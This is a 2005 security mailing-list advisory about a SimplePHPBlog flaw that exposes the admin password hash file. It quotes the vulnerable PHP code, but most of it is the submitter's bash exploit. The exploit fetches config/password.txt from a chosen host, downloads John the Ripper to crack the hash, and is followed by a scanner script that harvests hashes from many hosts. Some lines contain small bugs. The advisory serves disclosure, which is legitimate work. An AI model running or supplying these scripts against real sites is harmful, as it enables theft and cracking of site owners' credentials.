

[EXPL] SimplePHPBlog Password Disclosure (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0064.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/14/05

To: list@securiteam.com

Date: 14 Aug 2005 18:00:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

SimplePHPBlog Password Disclosure (Exploit)

SUMMARY

<<http://www.simplephpblog.com/>> SimplePHPBlog – "The main advantage of using <<http://www.simplephpblog.com/>> Simple PHP Blog is that it only requires PHP 4 (or greater) and write permission on the server."

A vulnerability in SimplePHPBlog allows remote attackers to cause the program to disclose its password hash file.

DETAILS

Vulnerable Systems:

* SimplePHPBlog versions 0.4.0 and prior

Vulnerable code:

```
bash-3.00# cat install02.php
$result = create_folder( 'config' );
```

```
bash-3.00# cat sb_login.php
// If there's no password file then need to redirect them.
$passFile = 'config/password.txt';
```

Securiteam: [EXPL] SimplePHPBlog Password Disclosure (Exploit)

```
function create_password ( $user, $pass ) {
// Generate and store password hash

$mypasswd = $user.$pass;
$hashed = crypt($mypasswd);

// Save File
$filename = 'config/password.txt';
$result = sb_write_file( $filename, $hashed );
```

```
function check_password ( $user, $pass ) {
// Check password against hashed password file

$passFile = 'config/password.txt';
$hashed = sb_read_file( $passFile );
```

```
bash-3.00# ls -l `pwd` |grep config
drwxrwxrwx 2 www-data www-data 216 Jul 7 01:13 config
```

Exploit:

```
bash-3.00$ cat 0xfuck-phpblog.sh
#!/bin/bash
#####
#
# 0xfuck-phpblog.sh – SimplePHPBlog Remote Password Disclosure. (for
dummy)
#
# 0xpjply CONFIDENTIAL – SOURCE MATERIALS
#
# This is published proprietary source code of 0xpjply
#
# (C) COPYRIGHT 0xpjply security guru group, 2005
# All Rights Reserved
#
# dummy exploit written by pjphem && infected on July 2005
#
#####
# contact:
# pjphem && LazyCrs
#
# pjphem@mybox.it && fLazyCrs@GMail.com
#
#Greetz:
#
# You think you know? You have no idea!
# fluffi-
#
```

Securiteam: [EXPL] SimplePHPBlog Password Disclosure (Exploit)

```
#
#
# RAFA FREE
#
#####
echo ""
echo ""
echo " ++++++ "
echo " =: SimplePHPBlog Remote Password Disclosure. – for dummy :=
"
echo " ++++++ "
echo ""
echo " c0de by pjphem "
echo ""
echo ""
echo " vulnerabili Simple php blog 0.4.4 <= "
echo ""
echo ""
echo -n "inserisci un hostname: " ; read hostname ;
echo -n "inserisci dir: " ; read dir ;
echo ""
echo "[*] preparando l'ambiente..."
mkdir 0xpjply
cd 0xpjply
echo -t3 "[*] OK!"
echo "[*] Cattura password..."
wget http://$hostname/$dir/config/password.txt
echo "[*] OK!"
echo ""
echo ""
echo "Show password: (md5)"
echo ""
cat password.txt
echo ""
rm -rf password.txt
echo ""
echo -n "Downloading John The Ripper (password decripter) ?? [Y/n] "
read Q
if [ $Q = y ];
then echo "[*] OK!" ; wget [John the RipperURL]/john.tar.gz
else
exit 1;
fi
tar -zxf john.tar.gz
cd john
echo ""
echo "[*] Dowloading password.."
echo ""
wget http://$hostname/$dir/config/password.txt
echo ""
echo "Done!"
```

Securiteam: [EXPL] SimplePHPBlog Password Disclosure (Exploit)

```
echo ""
echo "STARING John for decript password.. enJoy"
/jonh password.txt
echo ""
echo ""

bash-3.00$ cat 0xfuck-phpblog-scanner.sh
#!/bin/bash
#
# Simple tester for phpblog
#
# phpblog 0.4.4 <=
#
#####
echo "host , directory blog: (ex. test.it blog)"
read HOST BLOG
lynx -source http://\$HOST/\$BLOG/config/password.txt | grep $1$ >> 0wn4bl3
bash-3.00$
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:pjphem@mybox.it>> pjphem.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.